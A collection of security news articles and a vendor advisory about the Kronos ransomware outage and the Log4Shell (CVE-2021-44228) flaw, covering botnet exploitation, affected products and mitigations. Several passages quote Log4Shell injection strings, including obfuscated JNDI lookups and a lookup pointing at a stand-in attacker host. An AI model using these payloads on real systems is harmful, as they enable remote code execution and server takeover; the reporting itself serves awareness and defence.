Kronos Ransomware Outage Drives Widespread Payroll Chaos

 

Description

Kronos, the workforce management platform, has been hit with a ransomware attack that it says will leave its cloud-based services unavailable for several weeks – and it’s suggesting that customers seek other ways to get payroll and other HR tasks accomplished.

The outage has left cataclysmic issues for customers in its wake.

Kronos offers a range of solutions for employee scheduling, compensation management, payroll and hours worked, benefits administration, time-off management, talent acquisition, onboarding, and more. It counts some of the largest companies in the world as its customers, such as Tesla and Puma, along with various health, public sector and university customers; organizations like the YMCA; and smaller businesses like restaurants and retailers.

In a message to Kronos Private Cloud (KPC) customers late afternoon on Sunday, the company said that several solutions were knocked offline starting Saturday: UKG Workforce Central, UKG TeleStaff, Healthcare Extensions and Banking Scheduling Solutions.

“At this time, we still do not have an estimated restoration time, and it is likely that the issue may require at least several days to resolve,” the company said in the notice – a timeline that it expanded to likely taking several weeks in a Monday update. “We continue to recommend that our impacted customers evaluate alternative plans to process time and attendance data for payroll processing, to manage schedules, and to manage other related operations important to their organization.”

On-premise deployments are not affected, and neither are the UKG Pro, UKG Dimensions or UKG Ready offerings, it added.

“We recognize the importance of these solutions to your organization,” the company said. “We have actively mobilized all resources at our disposal to address this issue.”

Chaos for Customers

Further details over the weekend were not forthcoming, much to the chagrin of customers.

“This tells us nothing,” one comment reads on the notice page. “Is our data still there? What happened? Why the secrecy?”

Nick Tausek, security solutions architect at Swimlane, noted that the initial access vector is also unknown.

“Although Kronos Private Cloud was secured by firewalls, encrypted transmissions and multi-factor authentication, cybercriminals were still able to breach and encrypt its servers,” he said via email. “While it’s unclear exactly how the breach took place, Kronos predicts that their Private Cloud solutions will be unavailable for a number of weeks. This extended shutdown will likely present challenges for many organizations as they seek to roll out bonuses and employees look to request time off ahead of the holidays.”

And indeed, multiple customers left comments that speak to the chaos the outage is creating within their organizations, with some noting that an ongoing, extended disruption of service is unacceptable in their view.

“That simply cannot happen,” wrote Dave from the Tacoma, Wash., Fire Department, expressing disbelief that a company this large doesn’t seem to have contingency plans in place. “We must have access to rosters for today and coming days – now. Any halfway decent IT application hosting company would have disaster recovery plans for any worst-case-scenario. Running fire and police departments, this data can literally be a matter of life and death for the public and for our people. Yes, I am frustrated and angry that we don’t know what is happening.”

Another noted, “We have 50,000 employees and it’s not easy to manage without a timekeeping system. Very disappointed to say the least…This is absurd and we customers should be told what’s happening.”

Yet another: “We need to get this corrected ASAP. We don’t even know who will be working tomorrow and where. Does anyone have a good back up for if this ever happens again?”

And one resorted to dealmaking: “At this point I don’t even care for a task manager, fancy functions, callback list or picklist…Just give me a plain roster view for five days,” the person wrote. “Let me know who’s working and I’ll pick up a phone start crossing out the sick call out and making phone calls to back fill…I believe with this we can manage while you guys figure out the fix…Public safety in many counties and municipals across the U.S. is basically blind right now.”

A Ransomware Incident

Some customers floated the possibility that Kronos’ data centers are compromised by the Log4Shell vulnerability that’s wreaking havoc across the internet, but Bob Hughes, executive vice president at Kronos, clarified in a Monday update that the issue is a “ransomware incident” and that it was still assessing the scope of the damage and what impact the cyberattack had on its systems and data.

“Given that it may take up to several weeks to restore system availability, we strongly recommend that you evaluate and implement alternative business-continuity protocols related to the affected UKG solutions,” he added.

Erich Kron, security awareness advocate at KnowBe4, noted that the timing of this attack, at the close of the year while organizations are managing not only basic payroll, but also bonuses and other annual calculations that need to take place, is no coincidence.

“Ransomware gangs often time attacks to take place when organizations are short-staffed due to holidays, or when they are extremely busy, with the hope that the attack will take longer to spot and response times will be much slower,” he said via email. “In addition, the pressure to service customers during these crucial times can be very high, making it more likely that the victim will pay the ransom in an effort to get operations back up and running quickly.”

Customers again reacted with concern.

“We are blocking/disabling all ADFS and LDAP connections to UKG/Kronos Cloud until they have a better handle on what they have,” said one. “At this point they are an untrusted entity and will be treated as such. There is no good they can do us at this time.”

Several expressed worries as to the safety of their data housed in the Kronos cloud, and at least one customer has questions about the company’s backups.

“Where are the backups, can’t the backups be restored?” the person said. “Are the backups stored in the same ‘cloud/space’ as production, that doesn’t make sense?”

The situation shows that organizations must actively prepare for ransomware, Kron said.

“This attack drives home the need to not only have, but also to practice, disaster-recovery and continuity-of-operations plans that can be enacted quickly and efficiently,” he said. “The more heavily reliant organizations are on technical services, even those in the cloud, the more important it becomes to have a plan to operate without these services, even for a short time.”

He added, “Unfortunately, the Grinch has impacted Christmas for a lot of people using the KPC services. Hopefully, this does not result in a subscription to the ‘Jelly of the Month Club’ in lieu of the annual bonuses.”

There’s a sea of unstructured data on the internet relating to the latest security threats. ****REGISTER TODAY****_ to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This LIVE, interactive Threatpost Town Hall, sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken._

Read More

Where the Latest Log4Shell Attacks Are Coming From

 

Description

Cybersecurity professionals across the world have been scrambling to shore up their systems against a critical remote code-execution (RCE) flaw (CVE-2021-44228) in the Apache Log4j tool, discovered just days ago.

Now under active exploit, the “Log4Shell” bug allows complete server takeover. Researchers have started to fill in the details on the latest Log4Shell attacks, and they reported finding at least 10 specific Linux botnets leading the charge.

First, analysts at NetLab 360 detected two waves of Log4Shell attacks on their honeypots, from the Muhstik and Mirai botnets.

Mirai Tweaked to Troll for Log4Shell Vulnerability

The analysts at Netlab 360 said this is a new variant of Mirai with a few specific innovations. First, they pointed out the code piece “table_init/table_lock_val/table_unlock_val and other Mirai-specific configuration management functions have been removed.”

Secondly, they added, “The attack_init function is also discarded, and the DDoS attack function is called directly by the command-processing function.”

Finally, they found this iteration of the Mirai botnet uses a two-level domain for its command-and-control (C2) mechanis, which the team at Netlab 360 said was “rare.”

Muhstik Variant Attacks Log4Shell

The other Linux botnet launched to take advantage of the Apache 4j Library flaw is Muhstik, a Mirai variant.

“In this captured sample, we note that the new Muhstik variant adds a backdoor module, ldm, which has the ability to add an SSH backdoor public key with the following installed backdoor public key,” Netlab 360 reported.

Once added, the public key lets a threat actor log onto the server without so much as a password, they explained.

“Muhstik takes a blunt approach to spread the payload aimlessly, knowing that there will be vulnerable machines, and in order to know who has been infected, Muhstik adopts TOR network for its reporting mechanism,” the Netlab 360 team said.

Following detection of those attacks, the Netlab 360 team found other botnets on the hunt for the Log4Shell vulnerability including: DDoS family Elknot; mining family m8220; SitesLoader; xmrig.pe; xmring.ELF; attack tool 1; attack tool 2; plus one unknown and a PE family.

Geography of Log4Shell Attacks

The majority of exploitation attempts against Log4Shell originate in Russia, according to Kaspersky researchers who found 4,275 attacks launched from Russia, by far the most of any other region. By comparison, 351 attempts were launched from China and 1,746 from the U.S.

So far, the Apache Log4j logging library exploit has spun off 60 mutations — and it only took less than a day.

This story is developing, so stay tuned to Threatpost for additional coverage.

There’s a sea of unstructured data on the internet relating to the latest security threats. REGISTER TODAY_ to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This_ LIVE, interactive Threatpost Town Hall_, sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken.

Read More

Log4Shell Is Spawning Even Nastier Mutations

 

Description

The internet has a fast-spreading, malignant cancer – otherwise known as the Apache Log4j logging library exploit – that’s been rapidly mutating and attracting swarms of attackers since it was publicly disclosed last week.

Most of the attacks focus on cryptocurrency mining done on victims’ dimes, as seen by Sophos, Microsoft and other security firms. However, attackers are actively trying to install far more dangerous malware on vulnerable systems as well.

According to Microsoft researchers, beyond coin-miners, they’ve also seen installations of Cobalt Strike, which attackers can use to steal passwords, creep further into compromised networks with lateral movement and exfiltrate data.

Also, it could get a lot worse. Cybersecurity researchers at Check Point warned on Monday that the evolution has already led to more than 60 bigger, brawnier mutations, all spawned in less than a day.

“Since Friday we witnessed what looks like an evolutionary repression, with new variations of the original exploit being introduced rapidly: over 60 in less than 24 hours,” they said.

The flaw, which is uber-easy to exploit, has been named Log4Shell. It’s resident in the ubiquitous Java logging library Apache Log4j and could allow unauthenticated remote code execution (RCE) and complete server takeover. It first turned up on sites that cater to users of the world’s favorite game, Minecraft, last Thursday, and was being exploited in the wild within hours of public disclosure.

Mutations May Enable Exploits to Slip Past Protections

On Monday, Check Point reported that Log4Shell’s new, malignant offspring can now be exploited “either over HTTP or HTTPS (the encrypted version of browsing),” they said.

The more ways to exploit the vulnerability, the more alternatives attackers have to slip past the new protections that have frantically been pumped out since Friday, Check Point said. “It means that one layer of protection is not enough, and only multilayered security postures would provide a resilient protection,” they wrote.

Because of the enormous attack surface it poses, some security experts are calling Log4Shell the biggest cybersecurity calamity of the year, putting it on par with the 2014 Shellshock family of security bugs that was exploited by botnets of compromised computers to perform distributed denial-of-service (DDoS) attacks and vulnerability scanning within hours of its initial disclosure.

Tactical Shifts

Besides variations that can slip past protections, researchers are also seeing new tactics.

Luke Richards, Threat Intelligence Lead at AI cybersecurity firm Vectra, told Threatpost on Monday that initial exploit attempts were basic call backs, with the initial exploit attempt coming from TOR nodes. They mostly pointed back to “bingsearchlib[.]com,” with the exploit being passed into the User Agent or the Uniform Resource Identifier (URI) of the request.

But since the initial wave of exploit attempts, Vectra has tracked many changes in tactics by the threat actors who are leveraging the vulnerability. Notably, there’s been a shift in the commands being used, as the threat actors have begun obfuscating their requests.

“This originally included stuffing the User Agent or URI with a base64 string, which when decoded by the vulnerable system caused the host to download a malicious dropper from attacker infrastructure,” Richards explained in an email. Following this, the attackers started obfuscating the Java Naming and Directory Interface (JDNI) string itself, by taking advantage of other translation features of the JDNI process.

He offered these examples:

${jndi:${lower:l}${lower:d}a${lower:p}://world80
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//
${jndi:dns://

…All of which achieve the same objective: “to download a malicious class file and drop it onto the target system, or to leak credentials of cloud-based systems,” Richards said.

Bug Has Been Targeted All Month

Attackers have been buzzing around the Log4Shell vulnerability since at least Dec. 1, it turns out, and as soon as CVE-2021-44228 was publicly disclosed late last week, attackers began to swarm around honeypots.

On Sunday, Sophos researchers said that they’d “already detected hundreds of thousands of attempts since December 9 to remotely execute code using this vulnerability,” noting that log searches by other organizations (including Cloudflare) suggest that the vulnerability may have been openly exploited for weeks.

Sophos has already detected hundreds of thousands of attempts since December 9 to remotely execute code using this vulnerability, and log searches by other organizations (including Cloudflare) suggest the vulnerability may have been openly exploited for weeks. 11/16 pic.twitter.com/dbAXG5WdZ8

— SophosLabs (@SophosLabs) December 13, 2021

“Earliest evidence we’ve found so far of #Log4J exploit is 2021-12-01 04:36:50 UTC,” Cloudflare CEO Matthew Prince tweeted on Saturday. “That suggests it was in the wild at least nine days before publicly disclosed. However, don’t see evidence of mass exploitation until after public disclosure.”

On Sunday, Cisco Talos chimed in with a similar timeframe: It first saw attacker activity related to CVE-2021-44228 starting on Dec. 2. “It is recommended that organizations expand their hunt for scanning and exploit activity to this date,” it advised.

Exploits Attempted on 40% of Corporate Networks

Check Point said on Monday that it’s thwarted more than 845,000 exploit attempts, with more than 46 percent of those attempts made by known, malicious groups. In fact, Check Point warned that it’s seen more than 100 attempts to exploit the vulnerability per minute.

As of 9 a.m. ET on Monday, its researchers had seen exploits attempted on more than 40 percent of corporate networks globally.

The map below illustrates the top targeted geographies.

Top affected geographies. Source: Check Point.

Hyperbole isn’t an issue with this flaw. Security experts are rating it as one of the worst vulnerabilities of 2021, if not the tip-top most terrible. Dor Dali, Director of Information Security at Vulcan Cyber, classes it in the top-three worst flaws of the year: “It wouldn’t be a stretch to say that every enterprise organization uses Java, and Log4j is one of the most-popular logging frameworks for Java,” Dali noted via email on Monday. “Connecting the dots, the impact of this vulnerability has the reach and potential to be substantial if mitigation efforts aren’t taken right away.”

As has been repeatedly stressed since its initial public disclosure, the Log4j vulnerability “is relatively easy to exploit, and we’ve already seen verifiable reports that bad actors are actively running campaigns against some of the largest companies in the world,” Dali reiterated. “Hopefully every organization running Java has the ability to secure, configure and manage it. If Java is being used in production systems IT security teams must prioritize the risk and mitigation campaigns and follow remediation guidelines from the Apache Log4j project as soon as possible.”

This situation is rapidly evolving, so keep an eye out for additional news. Below are some of the related pieces we’ve seen, along with some of the new protections and detection tools.

More News

• ** **Linux botnets have already exploited the flaw. NetLab 360 reported on Saturday that two of its honeypots have been attacked by the Muhstik and Mirai botnets. Following detection of those attacks, the Netlab 360 team found other botnets on the hunt for the Log4Shell vulnerability, including the DDoS family Elknot, the mining family m8220, SitesLoader, xmrig.pe, xmring.ELF, attack tool 1, attack tool 2, plus one unknown and a PE family. BleepingComputer also reports that it’s observed the threat actors behind the Kinsing backdoor and cryptomining botnet “heavily abusing the Log4j vulnerability.”
• CISA has added Log4Shell to the Known Exploited Vulnerabilities Catalog.
• Quebec shut down thousands of sites after disclosure of the Log4Shell flaw. “”We need to scan all of our systems,” said Canadian Minister Responsible for Digital Transformation and Access to Information Eric Caire in a news conference. “We’re kind of looking for a needle in a haystack.”

New Protections, Detection Tools

• On Saturday, Huntress Labs released a tool – available here – to help organizations test whether their applications are vulnerable to CVE-2021-44228.
• Cybereason released Logout4Shell, a “vaccine” for the Log4Shell Apache Log4j RCE, that uses the vulnerability itself to set the flag that turns it off.

Growing List of Affected Manufacturers, Components

As of Monday, the internet was still in meltdown drippy mode, with an ever-growing, crowd-sourced list hosted on GitHub that only scratches the surface of the millions of applications and manufacturers that use log4j for logging. The list indicates whether they’re affected by Log4Shell and provides links to evidence if they are.

Spoiler alert: Most are, including:

• Amazon
• Apache Druid
• Apache Solr
• Apache Struts2
• Apple
• Baidu
• CloudFlare
• DIDI
• ElasticSearch
• Google
• JD
• LinkedIn
• NetEase
• Speed camera LOL
• Steam
• Tesla
• Tencent
• Twitter
• VMWare
• VMWarevCenter
• Webex

A Deep Dive and Other Resources

• Immersive Labs has posted a hands-on lab of the incident.
• Lacework has published a blog post regarding how the news affects security best practices at the developer level.
• NetSPI has published a blog post that includes details on Log4Shell’s impact, guidance to determine whether your organization is at risk, and mitigation recommendations.

This is a developing story – stay tuned to Threatpost for ongoing coverage.

121321 13:32 UPDATE 1: Added input from Dor Dali and Luke Richards.
121321 14:15 UPDATE 2: Added additional botnets detected by NetLab 360.

There’s a sea of unstructured data on the internet relating to the latest security threats.REGISTER TODAY_ to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This_LIVE, interactive Threatpost Town Hall_, sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken.

Read More

Apache Log4j Vulnerability — Log4Shell — Widely Under Active Attack

 

Description

Threat actors are actively weaponizing unpatched servers affected by the newly identified "Log4Shell" vulnerability in Log4j to install cryptocurrency miners, Cobalt Strike, and recruit the devices into a botnet, even as telemetry signs point to exploitation of the flaw nine days before it even came to light.

Netlab, the networking security division of Chinese tech giant Qihoo 360, disclosed threats such as Mirai and Muhstik (aka Tsunami) are setting their sights on vulnerable systems to spread the infection and grow its computing power to orchestrate distributed denial-of-service (DDoS) attacks with the goal of overwhelming a target and rendering it unusable. Muhstik was previously spotted exploiting a critical security flaw in Atlassian Confluence (CVE-2021-26084, CVSS score: 9.8) earlier this September.

The latest development comes as it has emerged that the vulnerability has been under attack for at least more than a week prior to its public disclosure on December 10, and companies like Auvik, ConnectWise Manage, and N-able have confirmed their services are impacted, widening the scope of the flaw’s reach to more manufacturers.

“Earliest evidence we’ve found so far of [the] Log4j exploit is 2021-12-01 04:36:50 UTC,” Cloudflare CEO Matthew Prince tweeted Sunday. “That suggests it was in the wild at least nine days before publicly disclosed. However, don’t see evidence of mass exploitation until after public disclosure.” Cisco Talos, in an independent report, said it observed attacker activity related to the flaw beginning December 2.

Tracked CVE-2021-44228 (CVSS score: 10.0), the flaw concerns a case of remote code execution in Log4j, a Java-based open-source Apache logging framework broadly used in enterprise environments to record events and messages generated by software applications.

All that is required of an adversary to leverage the vulnerability is send a specially crafted string containing the malicious code that gets logged by Log4j version 2.0 or higher, effectively enabling the threat actor to load arbitrary code from an attacker-controlled domain on a susceptible server and take over control.

“The bulk of attacks that Microsoft has observed at this time have been related to mass scanning by attackers attempting to thumbprint vulnerable systems, as well as scanning by security companies and researchers,” Microsoft 365 Defender Threat Intelligence Team said in an analysis. “Based on the nature of the vulnerability, once the attacker has full access and control of an application, they can perform a myriad of objectives.”

In particular, the Redmond-based tech giant said it detected a wealth of malicious activities, including installing Cobalt Strike to enable credential theft and lateral movement, deploying coin miners, and exfiltrating data from the compromised machines.

The situation has also left companies scrambling to roll out fixes for the bug. Network security vendor SonicWall, in an advisory, revealed its Email Security solution is affected, stating it’s working to release a fix for the issue while it continues to investigate the rest of its lineup. Virtualization technology provider VMware, likewise, warned of "exploitation attempts in the wild," adding that it’s pushing out patches to a number of its products.

If anything, incidents like these illustrate how a single flaw, when uncovered in packages incorporated in a lot of software, can have ripple effects, acting as a channel for further attacks and posing a critical risk to affected systems. “All threat actors need to trigger an attack is one line of text,” Huntress Labs Senior Security Researcher John Hammond said. “There’s no obvious target for this vulnerability — hackers are taking a spray-and-pray approach to wreak havoc.”

Read More

Zero Day in Ubiquitous Apache Log4j Tool Under Active Attack

 

Description

An excruciating, easily exploited flaw in the ubiquitous Java logging library Apache Log4j could allow unauthenticated remote code execution (RCE) and complete server takeover — and it’s being exploited in the wild.

The flaw first turned up on sites that cater to users of the world’s favorite game, Minecraft, on Thursday. The sites reportedly warned that attackers could unleash malicious code on either servers or clients running the Java version of Minecraft by manipulating log messages, including from text typed into chat messages.

The same day, the as-yet-unpatched flaw was dubbed “Log4Shell” by LunaSec and began being tracked as CVE-2021-44228.

By early Friday morning, the Cyber Emergency Response Team (CERT) of the Deutsche Telekom Group tweeted that it was seeing attacks on its honeypots coming from the Tor network as threat actors tried to exploit the new bug,

🚨⚠️New #0-day vulnerability tracked under “Log4Shell” and CVE-2021-44228 discovered in Apache Log4j 🌶️‼️ We are observing attacks in our honeypot infrastructure coming from the TOR network. Find Mitigation instructions here: https://t.co/tUKJSn8RPF pic.twitter.com/WkAn911rZX

— Deutsche Telekom CERT (@DTCERT) December 10, 2021

Ditto for CERT New Zealand; and all day, people have piped up on Twitter to warn that they’re also seeing in-the-wild exploits.

This problem is going to cause a mini-internet meltdown, experts said, given that Log4j is incorporated into scads of popular frameworks, including Apache Struts2, Apache Solr, Apache Druid and Apache Flink. That exposes an eye-watering number of third-party apps that may also be vulnerable to the same type of high-severity exploits as that spotted in Minecraft, as well as in cloud services such as Steam and Apple iCloud, LunaSec warned.

As of Friday, version 2.15.0 had been released: log4j-core.jar is available on Maven Central here, with release notes are available here and Apache’s Log4j security announcements available here.

‘Mini-Internet Meltdown’ Imminent?

Even though an initial fix was rushed out on Friday, it’s going to take time to trickle down to all of those projects, given how extensively the logging library is incorporated downstream.

“Expect a mini-internet meltdown soonish,” said British security specialist Kevin Beaumont, who tweeted that the fix “needs to flow downstream to Apache Struts2, Solr, Linux distributions, vendors, appliances etc.”

Just one example of the bug’s massive reach: On Friday morning, Rob Joyce, director of cybersecurity at the National Security Agency (NSA), tweeted that even the NSA’s GHIDRA – a suite of reverse-engineering tools developed by NSA’s Research Directorate – includes the buggy Log4j library.

“The Log4j vulnerability is a significant threat for exploitation due to the widespread inclusion in software frameworks, even NSA’s GHIDRA. This is a case study in why the software bill of material (SBOM) concepts are so important to understand exposure.” — Rob Joyce, NSA Director of Cybersecurity.

Max CVSS Score of 10

The bug find has been credited to Chen Zhaojun of Alibaba. It’s been assigned the maximum CVSS score of 10, given how relatively easy it is to exploit, attackers’ ability to seize control of targeted servers and the ubiquity of Log4j. According to CERT Austria, the security hole can be exploited by simply logging a special string.

Researchers told Ars Technica that Log4Shell is a Java deserialization bug that stems from the library making network requests through the Java Naming and Directory Interface (JNDI) to an LDAP server and executing any code that’s returned. It’s reportedly triggered inside of log messages with use of the ${} syntax.

“JNDI triggers a look-up on a server controlled by the attacker and executes the returned code,” according to CERT Austria’s advisory, posted Friday, which noted that code for an exploit proof-of-concept (PoC) was published on GitHub.

The internet’s reaction: “Umm, yikes.”

“This Log4j (CVE-2021-44228) vulnerability is extremely bad,” tweeted security expert Marcus Hutchins. “Millions of applications use Log4j for logging, and all the attacker needs to do is get the app to log a special string.”

Javageddon

Security researchers don’t want to say that the sky is falling, per se, but. well, it is. They’re comparing this scenario to Shellshock with regards to its huge potential severity. Aka Bashdoor, Shellshock was a family of security bugs in the Unix Bash shell present in almost all Linux, UNIX and Mac OS X deployments. Within hours of its initial disclosure in 2014, it was being exploited by botnets of compromised computers to perform distributed denial-of-service (DDoS) attacks and vulnerability scanning.

Security researchers are considering Log4Shell to be much like Shellshock with regards to the enormous attack surface it poses. John Hammond, Senior Security Researcher at Huntress, who created a PoC for Log4Shell, predicted that threat actors will likely include payloads in simple HTTP connections, either in a User-Agent header or trivial POST form data.

_“_Organizations are already seeing signs of exploitation in the wild, and adversaries will just spray-and-pray across the internet,” he told Threatpost via email on Friday. This isn’t a targeted attack, he noted, given that “there is no target.”

He recommended that organizations actively using Apache log4j “absolutely must upgrade to log4j-2.1.50-rc2 as soon as possible.”

Hammond shared this growing list of software and components vulnerable to Log4Shell that’s being cultivated on GitHub.

``

Affected Versions

On Thursday, LunaSec explained that affected versions are 2.0 <= Apache log4j <= 2.14.1.

It added that JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 aren’t affected by the LDAP attack vector, given that in those versions, “com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load a remote codebase using LDAP.”

Vulnerability also depends on specific configurations. But there are “other attack vectors targeting this vulnerability which can result in RCE,” LunaSec continued. “Depending on what code is present on the server, an attacker could leverage this existing code to execute a payload,” pointing to a Veracode post on an attack targeting the class org.apache.naming.factory.BeanFactory that’s present on Apache Tomcat servers.

LunaSec concluded that, “given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe.”

Organizations can tell if they’re affected by examining log files for services using affected Log4j versions. If they contain user-controlled strings – CERT-NZ uses the example of “Jndi:ldap” – they could be affected.

“If you believe you may be impacted by CVE-2021-44228, Randori encourages all organizations to adopt an assumed breach mentality and review logs for impacted applications for unusual activity,” cybersecurity researchers at Randori wrote in a blog post.

Chris Morgan, senior cyber threat intelligence analyst at Digital Shadows, noted that a workaround released to address the flaw, which comes as part of Log4j version 2.15.0; reportedly changes a system setting from “false” to “true” by default.

Don’t change that, he warned: users who change the setting back to “false” remain vulnerable to attack, and as a result, “it is highly recommended that this is not returned to its previous setting.,” he told Threatpost on Friday. “Given the scale of affected devices and exploitability of the bug, it is highly likely to attract considerable attention from both cybercriminals and nation-state-associated actors. Organizations are advised to update to version 2.15.0 and place additional vigilance on logs associated with susceptible applications.”

Temporary Mitigation

To keep the library from being exploited, it’s urgently recommended that Log4j versions are upgraded to log4j-2.15.0-rc1.

But for those who can’t update straight off, LunaSec pointed to a discussion on HackerNews regarding a mitigation strategy available in version 2.10.0 and higher of Log4j that was posted in the early hours of Friday morning.

For versions older than 2.10.0 that can’t be upgraded, these mitigation choices have been suggested:

• Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files (here are Apache’s details); or,
• Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack’s classloading documentation to understand this behavior; or
• Users should switch log4j2.formatMsgNoLookups to true by adding:”‐Dlog4j2.formatMsgNoLookups=True” to the JVM command for starting the application.

How the Vulnerability Works

The Huntress ThreatOps team has published details on the vulnerability’s impact and advice on what organizations should do next. Expect it and other reports to be updated as the situation unfolds.

Huntress researchers said that the attack vector is “extremely trivial” for threat actors. As has been noted, it takes just a single text string to trigger an application to reach out to an external location if it’s logged via the vulnerable instance of log4j.

As Hammond told Threatpost, a possible exploit could entail a threat actor supplying special text in an HTTP User-Agent header or a simple POST form request, with the usual form:

${jndi:ldap://maliciousexternalhost.com/resource

…where maliciousexternalhost.com is an instance controlled by the adversary.

The log4j vulnerability parses the input and reaches out to the malicious host via the JNDI. “The first-stage resource acts as a springboard to another attacker-controlled endpoint, which serves Java code to be executed on the original victim,” according to Huntress. “Ultimately, this grants the adversary the opportunity to run any code they would like on the target: remote code execution.”

Stop, Drop, Hunt It Down

So much for baking Christmas cookies: It’s going to be a long weekend for a lot of people, according to Casey Ellis, founder and CTO at Bugcrowd, who calls it “a worst-case scenario.”

“The combination of log4j’s ubiquitous use in software and platforms, the many, many paths available to exploit the vulnerability, the dependencies that will make patching this vulnerability without breaking other things difficult, and the fact that the exploit itself fits into a tweet,” he told Threatpost on Friday via email.

First things first, he said, “stop what you’re doing as a software shop and enumerate where log4j exists and might exist in your environment and products.”

He noted that it’s the kind of software “that can quite easily be there without making its presence obvious, so we expect the tail of exploitability on this vulnerability to be quite long.”

Tim Wade, technical director of the CTO team at Vectra, told Threatpost that the specifics of how attacks will play out are “still a bit open-ended.” But given the widespread use and position of the underlying software, he said, “it absolutely looks like a good candidate for malicious network ingress, which means network defenders should be on guard for suspicious outbound traffic that may indicate command-and-control.”

Wade said this is an example of how critical effective detection and response capabilities are, and “really exposes how risky the ‘prevent, patch, and pray’ strategy that’s so widely adopted in legacy security programs really is.”

John Bambenek, principal threat hunter at Netenrich, said that mitigations should be applied ASAP, including updating Java. He told Threatpost that Web application firewalls should also be updated with an appropriate rule to block such attacks.

121021 15:57 UPDATE: Added input from John Hammond, John Bambenek, Tim Wade and Casey Ellis.

Read More

Widespread Exploitation of Critical Remote Code Execution in Apache Log4j

 Overview

• Affected versions

• Mitigation and detection guidance

• Rapid7 customers

• InsightVM and Nexpose

• InsightIDR and Managed Detection and Response

• Velociraptor

• tCell

• InsightCloudSec

• IntSights

• Attacks and campaigns

• External resources

• Updates

---

Need clarity on detecting and mitigating the Log4j vulnerability?

Rapid7 is continuously monitoring our environment for Log4Shell vulnerability instances and exploit attempts. At this time, we have not detected any successful exploit attempts in our systems or solutions. For further information and updates about our internal response to Log4Shell

Information and exploitation of this vulnerability are evolving quickly. We will update this blog with further information as it becomes available.

Overview

CVE	Vendor Advisory	AttackerKB	IVM Content	Patching Urgency	Last Update
CVE-2021-44228	Apache Advisory	AttackerKB	Authenticated, remote, and agent checks are available in InsightVM, along with Container Security assessment.	Immediately (emergency)	January 3, 2022 5:15 PM ET

On December 6, 2021, Apache released version 2.15.0 of their Log4j framework, which included a fix for CVE-2021-44228, a critical (CVSSv3 10) remote code execution (RCE) vulnerability affecting Apache Log4j 2.14.1 and earlier versions. The vulnerability resides in the way specially crafted log messages were handled by the Log4j processor. Untrusted strings (e.g. those coming from input text fields, such as web application search boxes) containing content like ${jndi:ldap://example.com/a} would trigger a remote class load, message lookup, and execution of the associated content if message lookup substitution was enabled. On December 13, 2021, Apache released Log4j 2.16.0, which no longer enables lookups within message text by default

Successful exploitation of CVE-2021-44228 can allow a remote, unauthenticated attacker to take full control of a vulnerable target system. CVE-2021-44228 is being broadly and opportunistically exploited in the wild as of December 10, 2021. Multiple sources have noted both scanning and exploit attempts against this vulnerability. Rapid7 researchers have developed and tested a proof-of-concept exploit that works against the latest Struts2 Showcase (2.5.27) running on Tomcat. We expect attacks to continue and increase: Defenders should invoke emergency mitigation processes as quickly as possible. CISA has also published an alert advising immediate mitigation of CVE-2021-44228.

A huge swath of products, frameworks, and cloud services implement Log4j, which is a popular Java logging library. Organizations should be prepared for a continual stream of downstream advisories from third-party software producers who include Log4j among their dependencies.

Affected versions

According to Apache’s advisory, all Apache Log4j (version 2.x) versions up to 2.14.1 are vulnerable if message lookup substitution was enabled.

Mitigation and detection guidance

Security teams and network administrators should update to Log4j 2.17.0 immediately, invoking emergency patching and/or incident response procedures to identify affected systems, products, and components and remediate this vulnerability with the highest level of urgency. They should also monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap strings) and local system events on web application servers executing curl and other, known remote resource collection command line programs. Furthermore, we recommend paying close attention to security advisories mentioning Log4j and prioritizing updates for those solutions.

According to Apache’s advisory for CVE-2021-44228, the behavior that allows for exploitation of the flaw has been disabled by default starting in version 2.15.0. Apache later updated their advisory to note that the fix for CVE-2021-44228 was incomplete in certain non-default configurations. CVE-2021-45046 has been issued to track the incomplete fix, and both vulnerabilities have been mitigated in Log4j 2.16.0. An additional Denial of Service (DoS) vulnerability, CVE-2021-45105, was later fixed in version 2.17.0 of Log4j.

• In releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
• For releases >=2.7 and <=2.14.1, all PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m.
• For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false.

